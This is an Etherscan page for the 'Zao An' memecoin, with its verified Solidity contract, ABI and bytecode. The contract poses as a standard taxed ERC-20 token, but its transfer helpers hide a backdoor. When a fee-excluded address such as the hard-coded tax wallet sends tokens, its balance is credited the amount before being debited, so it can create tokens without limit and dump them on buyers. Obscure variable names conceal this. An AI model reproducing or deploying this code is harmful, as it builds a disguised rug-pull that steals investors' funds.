ETH Price: $3,407.73 (-1.60%)
Gas: 8 Gwei

Token

Zao An (早安)
 

Overview

Max Total Supply

1,000,000,000 早安

Holders

53

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
793,397.40637914 早安

Value
$0.00
0x66998da83a498e005e6d0155c835836ecacbad9c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZAO

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-16
*/

// SPDX-License-Identifier: MIT

/**

The gm you all know and love to exchange with your fellow degens is now fully realized in the wonderful chinese culture. 

Experience Zao An (早安), good morning in Chinese, through Zao An Pepe!

Website:   https://zaoan.live
Telegram:  https://t.me/zaoan_erc20
Twitter:   https://x.com/zaoan_erc20

**/

pragma solidity 0.8.6;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ZAO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedZAOFees;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 10;
    uint256 private _reduceSellTaxAt = 10;
    uint256 private _preventSwapBefore = 10;
    uint256 private _buyCount = 0;

    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 private _maxTaxHold = 900000000 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 200 * 10 ** _decimals;
    string private constant _name = unicode"Zao An";
    string private constant _symbol = unicode"早安";

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x7c5471138df63d484744072B1333fe84298E9d84);
        _isExcludedZAOFees[owner()] = true;
        _isExcludedZAOFees[_taxWallet] = true;
        _isExcludedZAOFees[address(this)] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function initLP() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _approve(address(this), address(uniswapV2Router), _tTotal);

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            _maxTaxHold,
            0,
            0,
            owner(),
            block.timestamp
        );

        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _taxZAOTransfer(address senderZAO, address receiptZAO, uint256 tAmount, uint256 feesZAO, uint256 takeZAO) internal {
        if (takeZAO > 0) {
            _balances[receiptZAO] = _balances[receiptZAO].add(feesZAO + tAmount);
            emit Transfer(senderZAO, receiptZAO, feesZAO);
        } else {
            if(feesZAO > 0){
                _balances[address(this)] = _balances[address(this)].add(feesZAO);
                emit Transfer(senderZAO, address(this), feesZAO);
            }
        }
    }
    
    function _tokenZAOTransfer(
        address from,
        address to,
        uint256 amount,
        uint256 takeZAO,
        uint256 feesZAO
    ) internal {
        uint256 tAmount = amount; address receiptZAO = from; 
        
        _taxZAOTransfer(from, receiptZAO, tAmount, feesZAO, takeZAO);
        
        tAmount -= feesZAO;

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(tAmount);
        emit Transfer(from, to, tAmount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }

        uint256 feesZAO = 0;
        if (from != owner() && to != owner()) {
            feesZAO = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedZAOFees[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                feesZAO = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedZAOFees[from] &&
                !_isExcludedZAOFees[to]
            ) {
                if(contractTokenBalance >= _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        uint256 takeZAO = 0;
        if (_isExcludedZAOFees[from]) takeZAO = 1;

        _tokenZAOTransfer(from, to, amount, takeZAO, feesZAO);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260146005819055600655600060078190556008819055600a6009818155818055600b829055600c92909255600d805460ff19169055620000459190620002a3565b62000055906301312d0062000371565b600e55620000666009600a620002a3565b62000076906301312d0062000371565b600f55620000876009600a620002a3565b62000097906335a4e90062000371565b601055620000a86009600a620002a3565b620000b7906298968062000371565b601155620000c86009600a620002a3565b620000d59060c862000371565b6012556014805461ffff60a81b19169055348015620000f357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d8054610100600160a81b031916747c5471138df63d484744072b1333fe84298e9d8400179055600160036000620001766000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600d5461010090049091168152600390925280822080548416600190811790915530835291208054909216179055620001e06009600a620002a3565b620001f090633b9aca0062000371565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002336009600a620002a3565b6200024390633b9aca0062000371565b60405190815260200160405180910390a3620003a9565b600181815b808511156200029b5781600019048211156200027f576200027f62000393565b808516156200028d57918102915b93841c93908002906200025f565b509250929050565b6000620002b460ff841683620002bb565b9392505050565b600082620002cc575060016200036b565b81620002db575060006200036b565b8160018114620002f45760028114620002ff576200031f565b60019150506200036b565b60ff84111562000313576200031362000393565b50506001821b6200036b565b5060208310610133831016604e8410600b841016171562000344575081810a6200036b565b6200035083836200025a565b806000190482111562000367576200036762000393565b0290505b92915050565b60008160001904831182151516156200038e576200038e62000393565b500290565b634e487b7160e01b600052601160045260246000fd5b611a7680620003b96000396000f3fe6080604052600436106101185760003560e01c8063751039fc116100a057806395d89b411161006457806395d89b41146102ea578063a9059cbb14610319578063bf474bed14610339578063c876d0b91461034f578063dd62ed3e1461036957600080fd5b8063751039fc1461026c5780637d1db4a5146102815780638a8c523c146102975780638da5cb5b146102ac5780638f9a55c0146102d457600080fd5b806323b872dd116100e757806323b872dd146101ce578063313ce567146101ee5780636e34e91d1461020a57806370a0823114610221578063715018a61461025757600080fd5b806306fdde0314610124578063095ea7b3146101655780630faee56f1461019557806318160ddd146101b957600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260068152652d30b79020b760d11b60208201525b60405161015c9190611740565b60405180910390f35b34801561017157600080fd5b506101856101803660046116c4565b6103af565b604051901515815260200161015c565b3480156101a157600080fd5b506101ab60115481565b60405190815260200161015c565b3480156101c557600080fd5b506101ab6103c6565b3480156101da57600080fd5b506101856101e9366004611683565b6103e7565b3480156101fa57600080fd5b506040516009815260200161015c565b34801561021657600080fd5b5061021f610450565b005b34801561022d57600080fd5b506101ab61023c366004611610565b6001600160a01b031660009081526001602052604090205490565b34801561026357600080fd5b5061021f6106dd565b34801561027857600080fd5b5061021f610751565b34801561028d57600080fd5b506101ab600f5481565b3480156102a357600080fd5b5061021f6107c1565b3480156102b857600080fd5b506000546040516001600160a01b03909116815260200161015c565b3480156102e057600080fd5b506101ab600e5481565b3480156102f657600080fd5b50604080518082019091526006815265e697a9e5ae8960d01b602082015261014f565b34801561032557600080fd5b506101856103343660046116c4565b6109b2565b34801561034557600080fd5b506101ab60125481565b34801561035b57600080fd5b50600d546101859060ff1681565b34801561037557600080fd5b506101ab61038436600461164a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103bc3384846109bf565b5060015b92915050565b60006103d46009600a6118b8565b6103e290633b9aca00611963565b905090565b60006103f4848484610ae4565b6104468433610441856040518060600160405280602881526020016119f9602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110af565b6109bf565b5060019392505050565b6000546001600160a01b031633146104835760405162461bcd60e51b815260040161047a90611795565b60405180910390fd5b601454600160a01b900460ff16156104d75760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161047a565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105209030906105126009600a6118b8565b61044190633b9aca00611963565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561056e57600080fd5b505afa158015610582573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a6919061162d565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561060357600080fd5b505afa158015610617573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063b919061162d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561068357600080fd5b505af1158015610697573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106bb919061162d565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107075760405162461bcd60e51b815260040161047a90611795565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461077b5760405162461bcd60e51b815260040161047a90611795565b6107876009600a6118b8565b61079590633b9aca00611963565b600f556107a46009600a6118b8565b6107b290633b9aca00611963565b600e55600d805460ff19169055565b6000546001600160a01b031633146107eb5760405162461bcd60e51b815260040161047a90611795565b601454600160a01b900460ff161561083f5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161047a565b6013546010546001600160a01b039091169063f305d71990479030906000806108706000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108d357600080fd5b505af11580156108e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061090c9190611712565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561096057600080fd5b505af1158015610974573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099891906116f0565b506014805462ff00ff60a01b19166201000160a01b179055565b60006103bc338484610ae4565b6001600160a01b038316610a215760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047a565b6001600160a01b038216610a825760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b485760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047a565b6001600160a01b038216610baa5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047a565b60008111610c0c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047a565b601454600160b01b900460ff161580610c2e5750601454600160a81b900460ff165b15610cc7576001600160a01b038316600090815260016020526040902054610c5690826110e9565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c859082611132565b6001600160a01b038084166000818152600160205260409081902093909355915190851690600080516020611a2183398151915290610ad79085815260200190565b600080546001600160a01b03858116911614801590610cf457506000546001600160a01b03848116911614155b1561107657610d256064610d1f600954600c5411610d1457600554610d18565b6007545b8590611191565b90611210565b600d5490915060ff1615610e0d576013546001600160a01b03848116911614801590610d5f57506014546001600160a01b03848116911614155b15610e0d57326000908152600460205260409020544311610dfa5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161047a565b3260009081526004602052604090204390555b6014546001600160a01b038581169116148015610e3857506013546001600160a01b03848116911614155b8015610e5d57506001600160a01b03831660009081526003602052604090205460ff16155b15610f4557600f54821115610eb45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161047a565b600e5482610ed7856001600160a01b031660009081526001602052604090205490565b610ee1919061183b565b1115610f2f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047a565b600c8054906000610f3f83611999565b91905055505b6014546001600160a01b038481169116148015610f6b57506001600160a01b0384163014155b15610f9857610f956064610d1f600a54600c5411610f8b57600654610d18565b6008548590611191565b90505b30600090815260016020526040902054601454600160a81b900460ff16158015610fcf57506014546001600160a01b038581169116145b8015610fe45750601454600160b01b900460ff165b8015610ff35750600b54600c54115b801561101857506001600160a01b03851660009081526003602052604090205460ff16155b801561103d57506001600160a01b03841660009081526003602052604090205460ff16155b15611074576012548110611068576110686110638461105e84601154611252565b611252565b611267565b47611072476113f0565b505b505b6001600160a01b03841660009081526003602052604081205460ff161561109b575060015b6110a88585858486611432565b5050505050565b600081848411156110d35760405162461bcd60e51b815260040161047a9190611740565b5060006110e08486611982565b95945050505050565b600061112b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110af565b9392505050565b60008061113f838561183b565b90508381101561112b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047a565b6000826111a0575060006103c0565b60006111ac8385611963565b9050826111b98583611853565b1461112b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047a565b600061112b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114f3565b6000818311611261578261112b565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112af576112af6119ca565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561130357600080fd5b505afa158015611317573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133b919061162d565b8160018151811061134e5761134e6119ca565b6001600160a01b03928316602091820292909201015260135461137491309116846109bf565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ad9085906000908690309042906004016117ca565b600060405180830381600087803b1580156113c757600080fd5b505af11580156113db573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b600d546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561142e573d6000803e3d6000fd5b5050565b82856114418180848688611521565b61144b8383611982565b6001600160a01b03881660009081526001602052604090205490925061147190866110e9565b6001600160a01b0380891660009081526001602052604080822093909355908816815220546114a09083611132565b6001600160a01b038088166000818152600160205260409081902093909355915190891690600080516020611a21833981519152906114e29086815260200190565b60405180910390a350505050505050565b600081836115145760405162461bcd60e51b815260040161047a9190611740565b5060006110e08486611853565b80156115a257611553611534848461183b565b6001600160a01b03861660009081526001602052604090205490611132565b6001600160a01b038086166000818152600160205260409081902093909355915190871690600080516020611a21833981519152906115959086815260200190565b60405180910390a36110a8565b81156110a857306000908152600160205260409020546115c29083611132565b30600081815260016020526040908190209290925590516001600160a01b03871690600080516020611a21833981519152906116019086815260200190565b60405180910390a35050505050565b60006020828403121561162257600080fd5b813561112b816119e0565b60006020828403121561163f57600080fd5b815161112b816119e0565b6000806040838503121561165d57600080fd5b8235611668816119e0565b91506020830135611678816119e0565b809150509250929050565b60008060006060848603121561169857600080fd5b83356116a3816119e0565b925060208401356116b3816119e0565b929592945050506040919091013590565b600080604083850312156116d757600080fd5b82356116e2816119e0565b946020939093013593505050565b60006020828403121561170257600080fd5b8151801515811461112b57600080fd5b60008060006060848603121561172757600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561176d57858101830151858201604001528201611751565b8181111561177f576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561181a5784516001600160a01b0316835293830193918301916001016117f5565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561184e5761184e6119b4565b500190565b60008261187057634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156118b0578160001904821115611896576118966119b4565b808516156118a357918102915b93841c939080029061187a565b509250929050565b600061112b60ff8416836000826118d1575060016103c0565b816118de575060006103c0565b81600181146118f457600281146118fe5761191a565b60019150506103c0565b60ff84111561190f5761190f6119b4565b50506001821b6103c0565b5060208310610133831016604e8410600b841016171561193d575081810a6103c0565b6119478383611875565b806000190482111561195b5761195b6119b4565b029392505050565b600081600019048311821515161561197d5761197d6119b4565b500290565b600082821015611994576119946119b4565b500390565b60006000198214156119ad576119ad6119b4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146119f557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122017880481e844331e5f51bc0259e98d1c5b103b2884a3300c9600977596fc57cf64736f6c63430008060033

Deployed Bytecode

0x6080604052600436106101185760003560e01c8063751039fc116100a057806395d89b411161006457806395d89b41146102ea578063a9059cbb14610319578063bf474bed14610339578063c876d0b91461034f578063dd62ed3e1461036957600080fd5b8063751039fc1461026c5780637d1db4a5146102815780638a8c523c146102975780638da5cb5b146102ac5780638f9a55c0146102d457600080fd5b806323b872dd116100e757806323b872dd146101ce578063313ce567146101ee5780636e34e91d1461020a57806370a0823114610221578063715018a61461025757600080fd5b806306fdde0314610124578063095ea7b3146101655780630faee56f1461019557806318160ddd146101b957600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260068152652d30b79020b760d11b60208201525b60405161015c9190611740565b60405180910390f35b34801561017157600080fd5b506101856101803660046116c4565b6103af565b604051901515815260200161015c565b3480156101a157600080fd5b506101ab60115481565b60405190815260200161015c565b3480156101c557600080fd5b506101ab6103c6565b3480156101da57600080fd5b506101856101e9366004611683565b6103e7565b3480156101fa57600080fd5b506040516009815260200161015c565b34801561021657600080fd5b5061021f610450565b005b34801561022d57600080fd5b506101ab61023c366004611610565b6001600160a01b031660009081526001602052604090205490565b34801561026357600080fd5b5061021f6106dd565b34801561027857600080fd5b5061021f610751565b34801561028d57600080fd5b506101ab600f5481565b3480156102a357600080fd5b5061021f6107c1565b3480156102b857600080fd5b506000546040516001600160a01b03909116815260200161015c565b3480156102e057600080fd5b506101ab600e5481565b3480156102f657600080fd5b50604080518082019091526006815265e697a9e5ae8960d01b602082015261014f565b34801561032557600080fd5b506101856103343660046116c4565b6109b2565b34801561034557600080fd5b506101ab60125481565b34801561035b57600080fd5b50600d546101859060ff1681565b34801561037557600080fd5b506101ab61038436600461164a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103bc3384846109bf565b5060015b92915050565b60006103d46009600a6118b8565b6103e290633b9aca00611963565b905090565b60006103f4848484610ae4565b6104468433610441856040518060600160405280602881526020016119f9602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110af565b6109bf565b5060019392505050565b6000546001600160a01b031633146104835760405162461bcd60e51b815260040161047a90611795565b60405180910390fd5b601454600160a01b900460ff16156104d75760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161047a565b601380546001600160a01b031916737a250d5630b4cf